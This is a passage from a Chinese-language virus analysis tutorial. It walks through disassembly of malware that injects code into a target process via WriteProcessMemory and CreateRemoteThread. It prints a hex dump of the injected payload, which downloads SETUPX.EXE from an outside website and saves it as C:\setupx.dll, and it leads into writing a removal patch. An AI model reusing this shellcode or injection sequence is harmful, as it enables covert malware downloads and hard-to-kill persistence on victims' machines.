0100FBCB     53                  PUSH EBX
0100FBCC     FF56 54           CALL DWORD PTR DS:[ESI+54]; WriteProcessMemory

通过函数WriteProcessMemory将数据写入目标进程地址空间。函数原型如下:

BOOL WINAPI WriteProcessMemory(
  __in    HANDLE hProcess,
  __in    LPVOID lpBaseAddress,
  __in    LPCVOID lpBuffer,
  __in    SIZE_T nSize,
  __out   SIZE_T *lpNumberOfBytesWritten
);

各参数解释如下:

1)hProcess:进程句柄。

2)lpBaseAddress:指向进程内存的基地址。

3)lpBuffer:缓冲区的指针,保存写入内容。

4)nSize:写入指定进程内存的字节数。

5)lpNumberOfBytesWritten:返回实际写入的字节数量。

病毒往目标进程空间写入的数据如下:

010107CE  C8 00 00 00 E8 04 00 00 00 46 24 80 7C 58 68 40  ?..?...F$€|Xh@
010107DE  1F 00 00 FF 10 81 EC 30 11 00 00 E8 04 00 00 00  ..┼侅0 ▲..?...
010107EE  6F 17 80 7C 58 54 FF 10 66 8B 44 24 06 81 C4 30  o┤€|XT┼f婦$-伳0
010107FE  11 00 00 66 3D 1F 00 74 09 90 90 90 90 EB 59 90  ▲..f=.t.悙悙隮?
0101080E  90 90 E8 0E 00 00 00 43 3A 5C 73 65 74 75 70 78  悙?...C:\setupx
0101081E   2E 64 6C 6C 00 59 E8 23 00 00 00 68 74 74 70 3A   .dll.Y?...http:
0101082E   2F 2F 76 67 75 61 72 64 65 72 2E 39 31 69 2E 6E   //vguarder.91i.n
0101083E   65 74 2F 53 45 54 55 50 58 2E 45 58 45 00 58 E8   et/SETUPX.EXE.X?
0101084E   04 00 00 00 07 BD CB 75 5B 6A 00 6A 00 51 50 6A   ┙...●剿u[j.j.QPj
0101085E   00 FF 13 E9 B9 00 00 00 E8 20 00 00 00 D7 CB CB   .!!楣...?...姿?
0101086E  CF 85 90 90 8E 86 8D 91 8E 89 87 91 CB 91 8E CB  蠀悙巻崙帀噾藨幩
0101087E  CB 90 CC DA CB CA CF C7 91 DB DE CB 00 5A 8B DA  藧腾耸锨戂匏.Z嬟
0101088E  B1 BF 64 67 FF 36 30 00 58 0F B6 40 02 0A C0 74  笨dg 60.X¤禓┐.纓
0101089E  03 80 C1 02 80 3A 00 74 09 90 90 90 90 30 0A 42  └€?€:.t.悙悙0.B
010108AE  EB F2 81 EC 30 11 00 00 E8 04 00 00 00 6F 17 80  腧侅0 ▲..?...o┤€
010108BE  7C 58 54 FF 10 66 8B 44 24 04 66 3D 00 00 75 04  |XT┼f婦$┙f=..u┙
010108CE  66 B8 07 00 66 05 30 00 88 43 0F 88 43 12 33 D2  f?.f|0.圕¤圕↑↓3?
010108DE  66 8B 44 24 06 66 B9 0A 00 66 F7 F1 66 83 C2 30  f婦$f?.f黢f兟0
010108EE  88 53 13 81 C4 30 11 00 00 E8 0E 00 00 00 43 3A  圫!伳0 ▲..?...C:
010108FE   5C 73 65 74 75 70 78 2E 64 6C 6C 00 59 E8 04 00   \setupx.dll.Y?.
0101090E   00 00 07 BD CB 75 58 6A 00 6A 00 51 53 6A 00 FF   ..●剿uXj.j.QSj.
0101091E  10 E8 04 00 00 00 0D 25 86 7C 58 E8 0E 00 00 00  ┼?....%唡X?...
0101092E   43 3A 5C 73 65 74 75 70 78 2E 64 6C 6C 00 59 6A   C:\setupx.dll.Yj
0101093E  01 51 FF 10 E8 04 00 00 00 E9 09 83 7C 58 FF 75  ┌Q┼?...?億X u
0101094E  08 6A 00 68 FF 0F 1F 00 FF 10 0B C0 74 2C 8B D8  ■○j.h ¤.┼纓,嬝
0101095E  E8 04 00 00 00 30 25 80 7C 58 6A FF 53 FF 10 E8  ?...0%€|Xj S┼?
0101096E  00 00 00 00 59 83 C1 1A 90 90 90 E8 04 00 00 00  ....Y兞→悙愯┘...
0101097E  0D 25 86 7C 58 6A 01 51 FF 10 C9 C2 04 00         .%唡Xj┌Q┼陕┘.

从以上所示数据的ASCII码提示可以看出,这段代码是从非法网站http://vguarder.91i.net/SETUPX.EXE中下载与病毒运行有关的动态链接库文件。

0100FBCF     58                  POP EAX
0100FBD0     3D BE010000      CMP EAX,1BE
0100FBD5     90                  NOP
0100FBD6     75 2C              JNZ SHORT notepadr.0100FC04
0100FBD8     8BD4               MOV EDX,ESP
0100FBDA     8D8D BE010000    LEA ECX,DWORD PTR SS:[EBP+1BE]
0100FBE0     50                  PUSH EAX
0100FBE1     54                  PUSH ESP
0100FBE2     68 00040000      PUSH 400
0100FBE7     52                  PUSH EDX
0100FBE8     51                  PUSH ECX
0100FBE9     53                  PUSH EBX
0100FBEA     FF56 54           CALL DWORD PTR DS:[ESI+54] ;WriteProcessMemory
0100FBED     FF56 4C           CALL DWORD PTR DS:[ESI+4C] ; GetCurrentProcessId

以上代码获得当前进程的ID号。

0100FBF0     54                  PUSH ESP
0100FBF1     6A 00              PUSH 0
0100FBF3     50                  PUSH EAX
0100FBF4     55                 PUSH EBP     ; 00A40000,线程在其他进程的起始地址
0100FBF5     6A 00              PUSH 0
0100FBF7     6A 00              PUSH 0
0100FBF9     53                  PUSH EBX
0100FBFA     FF56 58           CALL DWORD PTR DS:[ESI+58] ; CreateRemoteThread

如以上代码所示,程序通过函数CreateRemoteThread将复制到其他进程的代码激活,也就是说,CreateRemoteThread可将线程创建在远程进程中。

0100FBFD     8986 FC000000    MOV DWORD PTR DS:[ESI+FC],EAX
0100FC03     58                  POP EAX
0100FC04     53                  PUSH EBX
0100FC05     FF56 60            CALL DWORD PTR DS:[ESI+60]   ; CloseHandle

以上代码调用CloseHandle关闭打开的句柄。

0100FC08     68 F4010000      PUSH 1F4
0100FC0D     FF56 44           CALL DWORD PTR DS:[ESI+44] ; Sleep
0100FC10     CC                  INT3

调用函数CloseHandle关闭使用OpenProcess打开的进程句柄。至此,病毒程序实现了在目标进程运行病毒代码的目的。用户要结束病毒代码,就需要通过复杂的技术,或者直接终止目标进程,通过这样的手段,为病毒代码的清理工作制造很大的麻烦,从而达到保护病毒代码不被轻易终止的目的。

以上介绍了几种常见的病毒保护自己的方式,以及避免被跟踪被调试的技术,下面来看病毒补丁程序的编写。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐